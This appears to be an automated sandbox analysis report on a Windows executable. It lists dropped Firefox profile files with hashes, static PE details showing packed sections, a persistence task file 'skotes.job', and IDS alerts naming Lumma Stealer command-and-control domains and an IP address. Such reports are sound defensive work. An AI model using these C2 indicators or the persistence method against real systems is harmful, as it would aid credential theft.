MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07333858257979298
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkit:DLhesh7Owd4+ji
MD5:	A543000B33A5D740A03710F2BB7CE126
SHA1:	C4BA83B3EAE767BF53A77E836E01213BD237C8A5
SHA-256:	8F15DFD1CB6A108D69CD0E965D971911C836525AEB87B537C2E0605F85CC1489
SHA-512:	6660AAFBC0AF28A132C73169B10E2DEE39E1094960CD10D5A815853095547EB5C1BD5A8EC88AF72EEF04907D7406F4D86E1953F99E29BBF0BF2A380BD3ABA494
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03715892102240314
Encrypted:	false
SSDEEP:	3:GtlvVTyYoTu3vuyottlvVTyYoTu3vuq/lldlL9//2ltltl:GtuYx32y4tuYx32q/T9XCt1
MD5:	18FDC1E75F295D6FEE0BAD2AFF3653F0
SHA1:	35E775E1FD751B6C7F8379F6FB96CD22237F4436
SHA-256:	C20AE0274F851F8CE1E15220FFBBCFB5F774168FEF971C368C065B406F75282D
SHA-512:	DD05CAE1AB6D12065E73B0B455447B38DE5685AA1B3E3264F2D84743262492073B6045788A435FBC934D26726318F47F8A39AC613AE0E692BB498BA11806D183
Malicious:	false
Preview:	..-.........................3'a+.I.k$.;.....l..-.........................3'a+.I.k$.;.....l........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.034803085807819295
Encrypted:	false
SSDEEP:	3:Ol1JTStFjs4lfonye9/57l8rEXsxdwhml8XW3RTfoCEVv/X7l8rEXsxdwhml8XWA:K8mzll8dMhm93jEVLl8dMhm93w
MD5:	669EACBD88D33C96DAC770C6FBD6AB2F
SHA1:	96C6C87CC89F3AF594298225A8D12CC73BF69DDE
SHA-256:	3CF1996BEDD7B3D99035227772C54DE4D2171DBB0E5AD9A8C41131B4E1123933
SHA-512:	853B81E57DCEAB87949E3F459132DAC4F389054E1096A9EE2A00D0980A527CF390C2FC9A3CA6229047A6E88E0F35FCE581CB417CB24EBE36E59D12FD321B6FAA
Malicious:	false
Preview:	7....-...........I.k$.;@.L.4`.i.........I.k$.;...^KJ..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.49079189004685
Encrypted:	false
SSDEEP:	192:RnaRtLYbBp6ihj4qyaaX86KlNF75RfGNBw8djSl:ceQquO1cwu0
MD5:	5ECF134E66C42D709BDDB30DC221F1AA
SHA1:	10DE9690F70818D8FAE030EEAA6E7F3BEF3C6AB6
SHA-256:	62E2F6A1322F0B9D420BF0FCBEBF19361487DD4001761EB7B8D77A8FB77A49A9
SHA-512:	F8E52A9BD05835D11E06CC901D2FCDF4F009FB237EC1C6AC531F4F36262B4ECE2B462C35A5F1DB90852BF9E67E241737F8B49A754EA50E4DB19D34DE3CF965AF
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730293580);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.49079189004685
Encrypted:	false
SSDEEP:	192:RnaRtLYbBp6ihj4qyaaX86KlNF75RfGNBw8djSl:ceQquO1cwu0
MD5:	5ECF134E66C42D709BDDB30DC221F1AA
SHA1:	10DE9690F70818D8FAE030EEAA6E7F3BEF3C6AB6
SHA-256:	62E2F6A1322F0B9D420BF0FCBEBF19361487DD4001761EB7B8D77A8FB77A49A9
SHA-512:	F8E52A9BD05835D11E06CC901D2FCDF4F009FB237EC1C6AC531F4F36262B4ECE2B462C35A5F1DB90852BF9E67E241737F8B49A754EA50E4DB19D34DE3CF965AF
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730293580);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	6:ltBl/l4/WN1h4BEJYqWvLue3FMOrMZ0l:DBl/WuntfJiFxMZO
MD5:	18F65713B07CB441E6A98655B726D098
SHA1:	2CEFA32BC26B25BE81C411B60C9925CB0F1F8F88
SHA-256:	B6C268E48546B113551A5AF9CA86BB6A462A512DE6C9289315E125CEB0FD8621
SHA-512:	A6871076C7D7ED53B630F9F144ED04303AD54A2E60B94ECA2AA96964D1AB375EEFDCA86CE0D3EB0E9DBB81470C6BD159877125A080C95EB17E54A52427F805FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	6.387356698287648
Encrypted:	false
SSDEEP:	24:vWSUGdI6zfN7fQHr70rA6Xi14R+FaRjOJNdZZI1Gx2pHsCj6lFnSvdMDADD6Lq5W:epiI6zdfirWAqMU4NIbOPnuDWLqaTv
MD5:	5F8B598FDA91769D8EA82A499F142199
SHA1:	F2B2A83E6651F7229637AEF5DFF38FE31CE6BD97
SHA-256:	69FC89E8A815EA44DCF6BEEA8508CDAC2727E6652AAD30254AA521F1C89BCD95
SHA-512:	620DCCD2AE1A1407572695F20A44C24D0F8FC61D8A8EFE61E4CCA5D8C3EDBDEEC7B2AC015C0A5C5F79D8AE1354F86F0025C4D320041DA4DFDA9B08D0E6BBB377
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1730293579335,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6150 bytes
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	6.387356698287648
Encrypted:	false
SSDEEP:	24:vWSUGdI6zfN7fQHr70rA6Xi14R+FaRjOJNdZZI1Gx2pHsCj6lFnSvdMDADD6Lq5W:epiI6zdfirWAqMU4NIbOPnuDWLqaTv
MD5:	5F8B598FDA91769D8EA82A499F142199
SHA1:	F2B2A83E6651F7229637AEF5DFF38FE31CE6BD97
SHA-256:	69FC89E8A815EA44DCF6BEEA8508CDAC2727E6652AAD30254AA521F1C89BCD95
SHA-512:	620DCCD2AE1A1407572695F20A44C24D0F8FC61D8A8EFE61E4CCA5D8C3EDBDEEC7B2AC015C0A5C5F79D8AE1354F86F0025C4D320041DA4DFDA9B08D0E6BBB377
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie...url":"about:A..."triggeringPrincipal_base64":"eyIzIjp7fX0="}],"lastAccessed":1730293579335,"hidden":false,"searchMode":null,"userContextId":0,"attributes":{},"index":1,"formdata":{"id":{...D.....91hom....itle":"New Tab","cacheKey....ID":4,"docshellUU...!"{4928f5ff-b473-439a-b63d-349ac3523a33}","resultf.4URI...pz..ToInherit..s{\"0\":...\"moz-null4...:{c0c3c76c-3c3b-44b0-9d2c-f5a4aaf1d46e}\"}....hasUserInteractW........@{\"3...E...docIdentifier":5,"persist":true)...696333857659).30mag....chrome://branding/ca..nt/icon32.png"X..requestedIk..0..aselect...,"_closedTK.@],"_...C....GroupCount":-1,....Flags":2167541758....dth":1164,"height":891,"screenXN.....Y..Aizem0.."maximized"...BeforeMin...&..workspace....85d88aad-e69b-4cbc-bd94-0aee6b4b5d51...._shouldRb....","..)At...6.........I..W...6..O........p....1":{R.hUpdate\..784,"startTim..1595...centCrash...0},"globalF.Dcook.. ho...."addons.mozilla.or..@valuE..A8bad2467092e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 8, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	BB6AF1BFE7DFA2D3D28DCA9C1D5C209F
SHA1:	D216BA7AF17521E30A8FFA1E5804827E6995F8D3
SHA-256:	4154A056F32C1395703E6842800E3987C035290F0B5EFAE666DC2DA978391563
SHA-512:	DC6946DE516315407B216C3C3945D820C3D2CA70C6ADE66BC96439CD304E7AF08FB5DBF17F1DD21E299FB3348E1C5F92FD64892FBF13C8FC002A10FEB6AD107B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032745120220713
Encrypted:	false
SSDEEP:	48:YrSAYn1A6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycmyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	16ED3EB5620467E3C1128F831E72EF55
SHA1:	E153D9F0FF85F1F228600BA6621E7BD5C41FE40A
SHA-256:	FBB5DAABD13782C66034B08EB92C7BA54C8D6E5CC066615C95EA7B8554066C77
SHA-512:	0DDE450A6AFA63E1C78C7F03F8B3C3A8889CDA598945B5D873DE44C9B83FFAF8EA38CC582E5BFBC2E6B41BB6397774ACCC324A668136FC256A7C6A2BB32CC983
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T13:06:22.124Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.032745120220713
Encrypted:	false
SSDEEP:	48:YrSAYn1A6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycmyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	16ED3EB5620467E3C1128F831E72EF55
SHA1:	E153D9F0FF85F1F228600BA6621E7BD5C41FE40A
SHA-256:	FBB5DAABD13782C66034B08EB92C7BA54C8D6E5CC066615C95EA7B8554066C77
SHA-512:	0DDE450A6AFA63E1C78C7F03F8B3C3A8889CDA598945B5D873DE44C9B83FFAF8EA38CC582E5BFBC2E6B41BB6397774ACCC324A668136FC256A7C6A2BB32CC983
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T13:06:22.124Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.415343287993195
Encrypted:	false
SSDEEP:	6:JGt+XflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBEt0:J5f2RKQ1CGAFAjzvYRQVit0
MD5:	E573A0B069669B7326611C9CF101341B
SHA1:	95787A785AFD7CD0BC6B2B4EAC6941F7CC5DB49B
SHA-256:	0F6C62BB02228E031F6BF188C6601FB980DE4D4CA56B32522428804C8ED1AFFD
SHA-512:	0D23B2E79E0C43FA0FB4023AF317D37D2E06E58451B5B2C35191D81DE9B40B4ECD1EDEC9F6011528C3C5DDE1098AF73457F8F5639C4F37BF93AA9424EB933140
Malicious:	false
Preview:	.........G.3......F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................%.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.546175934074995
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'016'704 bytes
MD5:	c9026d15b750cd2d99e938c9a16c0fea
SHA1:	ac28095ed9fd5546cb2b71e54a6cbaa8ba5fd129
SHA256:	e1a0807d2313553a9e5c3997162f9228d9d88bb171bf90c653b15d5195fef36e
SHA512:	af64ad1a5c759a9686f7c689042abac150b23f035f900f181f87c457c82bf359ee36801f9086337f65635020ce25ae6e35620482381e1b25c1282f6d8eccfeda
SSDEEP:	49152:vmnF5R7XF3eOel6chopM1ei57l5pS9fkyNcFvr:vmnB7XF3eOel6chopM1ei29ftNA
TLSH:	DED54C51758AB1CFD8CA1B788527CF46A96D03B50F2548C3A869787A7E73CC215BEC38
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1......e....@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x711000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F32E8BBCB6Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	324c109b1b137ad598d2231470dd30d8	False	0.9981264694357367	data	7.986258913559111	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rfqiwnzu	0x5b000	0x2b5000	0x2b4e00	a853988e64145f341f572a33c5d55606	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lwhxfubc	0x310000	0x1000	0x400	9c95430f6c0898bebd8479f7d6ade931	False	0.7900390625	data	6.209728632720495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x311000	0x3000	0x2200	8772863c1717102ac74540c2c3f47413	False	0.03848805147058824	DOS executable (COM)	0.34500809795260795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T12:36:02.189249+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	51454	1.1.1.1	53	UDP
2024-10-30T12:36:02.202754+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	64257	1.1.1.1	53	UDP
2024-10-30T12:36:02.214295+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	55755	1.1.1.1	53	UDP
2024-10-30T12:36:02.226162+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	58621	1.1.1.1	53	UDP
2024-10-30T12:36:02.241273+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	52823	1.1.1.1	53	UDP
2024-10-30T12:36:02.885016+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-30T12:36:03.665646+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-30T12:36:03.665646+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-30T12:36:04.356235+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-30T12:36:05.073541+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-30T12:36:05.073541+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
